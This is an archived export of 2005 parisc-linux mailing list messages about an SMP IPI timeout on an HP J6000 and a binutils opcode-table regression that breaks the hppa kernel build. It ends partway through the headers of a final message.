	with ESMTP id 10315-10; Sat, 24 Sep 2005 10:58:18 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5456D2983E5; Sat, 24 Sep 2005 10:58:18 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <43309941.4020706@netvisao.pt>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZOFHY2k/eSEkfr6WZHQhaXN1IGRvb0CW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23156

On Wed, Sep 21, 2005 at 12:20:33AM +0100, Antonio Cardoso Martins wrote:
> Hello,
> 
> could anybody help with tracing this bug deeper?
> 
> Machine: HP J6000 workstation with serial console, 2048 Mb
> 
> Linux version 2.6.14-rc1-pa1-32smp (root@moonlight) (gcc version 3.3.5 
> (Debian 1:3.3.5-13)) #1 SMP Sun Sep 18 20:24:10 WEST 2005
> 
> ...
> SMP CALL FUNCTION TIMED OUT! (cpu=0), try 1

Antonio,
I still occasionally see the above bug. I think we deadlock
when interrupts are disabled and we try to send an IPI.
Ergo we can never harvest the completion.  I haven't had time to dig
more into the one good TOC dump that I do have.

I have to wonder if we are loosing nested IPI or deadlock if both
CPUs happen to want to send an IPI to each other at the same time.

I've parked a kernel I've built that boots on my j6k at:
	ftp://gsyprf10.external.hp.com/kernels/c3000/2.6.14-rc1-pa1.tgz

If you want to give that a try and then compare the .config files,
that would be helpful.

> Would someone please help me?

I think the next step is to add a bug catcher that will panic
if/when one cpu fails to get the IPI spinlock or pending_ipi
is already set in ipi_send() (only works on 2-way).
Or something like that.  I have to think about this lot more.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils breaks hppa kernel build,
Date: Sat, 24 Sep 2005 13:33:15 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200509241733.j8OHXHRM001100@hiauly1.hia.nrc.ca>
References: <1127580340.10496.7.camel@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623923 16722 80.91.229.3 (22 Nov 2014 02:38:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dannf@hp.com (dann frazier)
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Sep 2005 18:02:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 24 Sep 2005 20:02:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E5D97D6CE;
	Sat, 24 Sep 2005 12:02:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28858-05; Sat, 24 Sep 2005 12:02:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 757FE7D6CB;
	Sat, 24 Sep 2005 12:02:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 46C397D6C9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 12:02:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28679-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 12:02:22 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 914587D64C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 12:02:22 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j8OI2AeT001798; Sat, 24 Sep 2005 14:02:10 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j8OHXHRM001100;
	Sat, 24 Sep 2005 13:33:17 -0400 (EDT)
In-Reply-To: <1127580340.10496.7.camel@localhost> from "dann frazier" at Sep
	24, 2005 10:45:40 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7/FHY2hReSEkab6WZHQhaXN1IGRvb8Cx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23157

> As discussed on irc:
> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=329888

This is a debian issue as far a I can tell.  I tried

      fic,m           %r23(%sr3,%r26)

with GNU assembler 2.16.91 20050814 and I don't see a problem.
However, I do see that we don't support the 2-bit space register
form (PA 2.0).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils breaks hppa kernel build,
	bad operands of fic, m
Date: Sat, 24 Sep 2005 12:54:39 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <20050924185439.GC7824__47063.9892424971$1416623923$gmane$org@colo.lackof.org>
References: <1127580340.10496.7.camel@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623923 16731 80.91.229.3 (22 Nov 2014 02:38:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: 329888@bugs.debian.org
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Sep 2005 18:48:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 24 Sep 2005 20:48:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7DD9E7D6D7;
	Sat, 24 Sep 2005 12:48:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29295-04; Sat, 24 Sep 2005 12:48:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C94DB7D6D8;
	Sat, 24 Sep 2005 12:48:18 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 86F4E7D6D6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 12:48:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29159-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 12:48:14 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id EA1AD7D6D5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 12:48:13 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 361103600FF;
	Sat, 24 Sep 2005 12:54:41 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20460-02; Sat, 24 Sep 2005 12:54:39 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C21AF3600FB; Sat, 24 Sep 2005 12:54:39 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1127580340.10496.7.camel@localhost>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IPpHY49FeSEkMb6WZHQhaXN1IGRvb0Ch
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23158

On Sat, Sep 24, 2005 at 10:45:40AM -0600, dann frazier wrote:
> As discussed on irc:
> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=329888

binutils-2.15 has this in include/opcodes/hppa.h:
{ "fdc",        0x04001280, 0xfc003fdf, "cZx(s,b)", pa10, 0},
{ "fdc",        0x04001280, 0xfc003fdf, "cZx(b)", pa10, 0},
{ "fic",        0x04000280, 0xfc001fdf, "cZx(S,b)", pa10, 0},
{ "fic",        0x04000280, 0xfc001fdf, "cZx(b)", pa10, 0},

And the binutils_2.16.1cvs20050902 version has only:
{ "fdc",        0x04001280, 0xfc00ffdf, "cZx(b)", pa10, 0},
{ "fdc",        0x04001280, 0xfc003fdf, "cZx(s,b)", pa10, 0},
{ "fic",        0x04000280, 0xfc001fdf, "cZx(S,b)", pa10, 0},

The order of the with 's' vs without 's' was switched and
in the process dropped one "fic" line.

Can binutils maintainer/folks please just add it back
in the new location?

Is the fix obvious enough or is a patch necessary?

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils breaks hppa kernel build,
Date: Sat, 24 Sep 2005 13:06:48 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <20050924190648.GD7824__14908.2773401917$1416623924$gmane$org@colo.lackof.org>
References: <1127580340.10496.7.camel@localhost>
	<200509241733.j8OHXHRM001100@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623924 16740 80.91.229.3 (22 Nov 2014 02:38:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:44 +0000 (UTC)
Cc: 329888@bugs.debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Sep 2005 19:00:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 24 Sep 2005 21:00:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 74BB97D6D7;
	Sat, 24 Sep 2005 13:00:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29594-02; Sat, 24 Sep 2005 13:00:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 113357D6D8;
	Sat, 24 Sep 2005 13:00:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE2317D6BF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 13:00:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29534-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 13:00:24 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 2C15F7D6BE
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 13:00:24 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 889C8360101;
	Sat, 24 Sep 2005 13:06:51 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20849-08; Sat, 24 Sep 2005 13:06:48 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 205733600FB; Sat, 24 Sep 2005 13:06:48 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200509241733.j8OHXHRM001100@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AcdHY7wpeSEkW76WZHQhaXN1IGRvb4AL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23159

On Sat, Sep 24, 2005 at 01:33:15PM -0400, John David Anglin wrote:
> > As discussed on irc:
> > http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=329888
> 
> This is a debian issue as far a I can tell.  I tried
> 
>       fic,m           %r23(%sr3,%r26)
> 
> with GNU assembler 2.16.91 20050814 and I don't see a problem.

You are right - debian has a stale include file.
The picked up this version of the opcode/hppa.h file:
http://sourceware.org/cgi-bin/cvsweb.cgi/src/include/opcode/hppa.h.diff?r1=1.55&r2=1.56&cvsroot=src&f=h

Debian needs to pick up the TOB opcode/hppa.h and life will be good again.

thanks,
grant

> However, I do see that we don't support the 2-bit space register
> form (PA 2.0).
> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils breaks hppa kernel build,
Date: Sat, 24 Sep 2005 13:22:02 -0600
Lines: 49
Approved: news@gmane.org
Message-ID: <20050924192202.GE7824__27249.5157355026$1416623924$gmane$org@colo.lackof.org>
References: <1127580340.10496.7.camel@localhost>
	<200509241733.j8OHXHRM001100@hiauly1.hia.nrc.ca>
	<20050924190648.GD7824@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623924 16749 80.91.229.3 (22 Nov 2014 02:38:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:44 +0000 (UTC)
Cc: 329888@bugs.debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Sep 2005 19:15:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 24 Sep 2005 21:15:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8F3807D6E7;
	Sat, 24 Sep 2005 13:15:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29594-09; Sat, 24 Sep 2005 13:15:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 801647D6E8;
	Sat, 24 Sep 2005 13:15:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9595F7D6E0
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 13:15:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29594-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 13:15:37 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 04DFB7D6DE
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 13:15:37 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 4A849360105;
	Sat, 24 Sep 2005 13:22:04 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21937-09; Sat, 24 Sep 2005 13:22:02 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C1CA1360104; Sat, 24 Sep 2005 13:22:02 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050924190648.GD7824@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tMBHY2teeSEkaL6WZHQhaXN1IGRvbwDP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23160

On Sat, Sep 24, 2005 at 01:06:48PM -0600, Grant Grundler wrote:
> On Sat, Sep 24, 2005 at 01:33:15PM -0400, John David Anglin wrote:
> > > As discussed on irc:
> > > http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=329888
> > 
> > This is a debian issue as far a I can tell.  I tried
> > 
> >       fic,m           %r23(%sr3,%r26)
> > 
> > with GNU assembler 2.16.91 20050814 and I don't see a problem.
> 
> You are right - debian has a stale include file.

Sorry - I was wrong too.

I confused the bug report with a related problem on unstable
kernel builds:
...
  AS      arch/parisc/kernel/pacache.o
arch/parisc/kernel/pacache.S: Assembler messages:
arch/parisc/kernel/pacache.S:952: Error: Invalid operands 
arch/parisc/kernel/pacache.S:953: Error: Invalid operands 
arch/parisc/kernel/pacache.S:954: Error: Invalid operands 
...

Where line 952/953/etc are this format:
1:      fic,m           %r23(%r26)
        fic,m           %r23(%r26)
        fic,m           %r23(%r26)


> The picked up this version of the opcode/hppa.h file:
> http://sourceware.org/cgi-bin/cvsweb.cgi/src/include/opcode/hppa.h.diff?r1=1.55&r2=1.56&cvsroot=src&f=h

I'm pretty sure this diff introduces the error I saw.

> Debian needs to pick up the TOB opcode/hppa.h and life will be good again.

Sorry - my bad again.  TOB opcode/hppa.h is missing one variant of "fic"
as I mentioned in previous email. I had it right the first time around.

apologies for the confusion and hope this clarifies,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils breaks hppa kernel build,
Date: Sat, 24 Sep 2005 21:27:22 -0400 (EDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <200509250127.j8P1RMGg002900__23306.6597291783$1416623924$gmane$org@hiauly1.hia.nrc.ca>
References: <20050924185439.GC7824@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623924 16759 80.91.229.3 (22 Nov 2014 02:38:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:44 +0000 (UTC)
Cc: 329888@bugs.debian.org,
 parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Sep 2005 01:28:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 25 Sep 2005 03:28:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D9C17D6D8;
	Sat, 24 Sep 2005 19:27:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31087-06; Sat, 24 Sep 2005 19:27:59 -0600 (MDT)
